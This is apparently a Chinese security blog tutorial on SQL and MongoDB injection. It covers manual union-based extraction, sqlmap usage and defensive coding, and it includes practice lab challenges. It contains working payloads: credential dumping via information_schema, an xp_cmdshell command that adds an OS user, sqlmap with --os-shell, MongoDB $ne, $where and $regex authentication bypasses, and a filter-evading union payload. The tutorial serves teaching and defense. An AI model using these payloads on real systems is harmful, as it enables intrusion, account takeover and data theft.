《Web安全头号杀手:SQL注入从手工到自动化 》(补充)

0x00 注入原理:数据库的致命裂缝

传统SQL注入攻击面

# 危险代码示例(动态拼接)
query = "SELECT * FROM users WHERE username='" + username + "'" 

攻击本质:通过控制输入内容破坏SQL语法结构,实现任意指令执行

NoSQL注入新战场(以MongoDB为例)

// 危险查询写法
db.users.find({
  username: req.body.user,
  password: req.body.pass
})

攻击向量

{ 
  "user": {"$ne": ""}, 
  "pass": {"$ne": ""} 
}

攻击效果:绕过认证(原理:$ne操作符匹配所有非空值)


0x01 手工注入:精准解剖数据库

经典联合查询注入七步法

步骤1:探测注入点

?id=1' -- 触发错误判断闭合符号
?id=1 AND 1=1 -- 验证布尔逻辑

目的:确认参数是否被拼接进SQL语句

步骤2:判断字段数

ORDER BY 4-- 通过二分法试探列数

原理:利用排序超出列数触发错误

步骤3:确定回显位

UNION SELECT 1,2,3 -- 观察数字显示位置

作用:定位数据在前端展示的对应位置

步骤4:提取元数据

UNION SELECT 1,table_name,3 FROM information_schema.tables -- 

关键表:information_schema(存储数据库元信息)

步骤5:爆破字段名

UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users' --

目标:获取账号密码字段名称

步骤6:拖取核心数据

UNION SELECT 1,CONCAT(username,':',password),3 FROM users --

技巧:使用CONCAT函数合并多字段

步骤7:权限提升

; EXEC xp_cmdshell('net user hacker P@ssw0rd /add') --

风险:通过存储过程执行系统命令


0x02 NoSQL注入:新型攻击模式

MongoDB注入三板斧

攻击1:运算符滥用

// 正常查询
db.products.find({ price: { $lt: 100 } }) 

// 攻击payload
price[$gt]=0 => { price: { $gt: 0 } } 

效果:绕过价格限制获取所有商品

攻击2:JS注入

db.users.find({ $where: "this.username == 'admin' && this.password == '" + pass + "'" })

恶意输入

pass=1'; return true;// 

执行结果:无条件返回true实现越权登录

攻击3:嵌套查询突破

{ 
  "username": { 
    "$func": "function() { return 'admin'; }" 
  }
}

漏洞根源:未禁用服务器端JS执行


0x03 自动化攻击:SQLMap核武库

引擎工作原理

MySQL
Oracle
MSSQL
检测注入点
识别DB类型
联合查询注入
报错注入
堆叠查询
C/D/E
自动化提取数据

智能检测算法

  1. 布尔盲注特征检测
  2. 时间延迟响应分析
  3. 报错信息正则匹配

实战指令解析

sqlmap -u "http://test.com/?id=1" \
       --risk=3 --level=5 \       # 提升检测强度
       --tamper=charencode \      # 绕过基础过滤
       --os-shell                # 尝试获取系统Shell

参数详解

  • --risk:启用危险操作(如文件写入)
  • --os-shell:触发数据库提权操作链

0x04 防御方案:构建钢铁长城

传统SQL防御

方案1:参数化查询

# Python安全写法
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

原理:严格区分数据与指令

方案2:ORM防护

// Sequelize安全示例
User.findOne({ where: { id: req.query.id } })

NoSQL防御策略

方案1:类型强制转换

// 将输入转为字符串
const username = String(req.body.user);

方案2:操作符白名单

const allowedOperators = ['$eq', '$lt', '$gt'];
sanitize(input, allowedOperators);

方案3:关闭危险功能

# MongoDB配置
security:
  javascriptEnabled: false

0x05 三维攻防实验室

场景1:SQL注入闯关

http://hacklab.csdntest/sqli/level5 (过滤了空格和UNION)

通关提示

?id=1'/**/aNd/**/1=2/**/uNiOn/**/SeLeCt/**/1,version(),3--+

场景2:NoSQL越权挑战

POST /api/login HTTP/1.1
Content-Type: application/json

{"user":"admin", "pass":{"$regex":"^.*"}}

目标:通过正则表达式暴力破解密码


技术总结

注入防御黄金法则 = 输入验证 + 最小权限 + 持续监控
                   ↓  
   被动防护 → 主动防御 → 智能感知

下期预告:《XSS的艺术》将揭秘:

  • 利用Shadow DOM绕过内容安全策略
  • 通过CSS选择器窃取敏感数据
  • 基于WebSocket的跨域渗透技术

法律红区与防御资源

⚠️ 依据《网络安全法》第27条,任何个人不得从事非法侵入他人网络的行为


攻击者画像

{
  "攻击路径": "应用层注入 → 数据库提权 → 横向移动",
  "利用工具": ["sqlmap", "NoSQLBooster", "BurpSuite"],
  "指纹特征": "非常规HTTP参数结构"
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

程序员没睡醒

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值